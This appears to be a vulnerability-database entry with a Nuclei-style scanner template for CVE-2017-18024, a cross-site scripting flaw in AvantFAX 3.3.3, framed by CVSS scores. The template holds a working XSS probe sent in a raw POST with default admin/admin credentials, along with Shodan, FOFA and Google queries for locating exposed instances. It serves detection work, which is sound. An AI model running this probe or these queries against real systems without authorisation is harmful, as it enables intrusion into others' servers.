CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
31.9%
AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.
id: CVE-2017-18024
info:
name: AvantFAX 3.3.3 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of AvantFAX or apply the necessary security patches to mitigate the XSS vulnerability.
reference:
- https://hackerone.com/reports/963798
- http://packetstormsecurity.com/files/145776/AvantFAX-3.3.3-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2017-18024
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/NarbehJackson/Java-Xss-minitwit16
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2017-18024
cwe-id: CWE-79
epss-score: 0.00074
epss-percentile: 0.31612
cpe: cpe:2.3:a:avantfax:avantfax:3.3.3:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: avantfax
product: avantfax
shodan-query: http.title:"avantfax - login"
fofa-query: title="avantfax - login"
google-query: intitle:"avantfax - login"
tags: cve,cve2017,avantfax,hackerone,packetstorm,xss
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin&password=admin&_submit_check=1&jlbqg<script>alert("{{randstr}}")</script>b7g0x=1
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert("{{randstr}}")</script>'
- 'AvantFAX'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100bf464ae1865ebdfc07eca5805af2e4ef8b10d1f7751f62adb5de2c0c9476687602207e8e107717c8972c0c2a91ccf68984488b5bf04de54c3e3bdfd1598beacbf8af:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
31.9%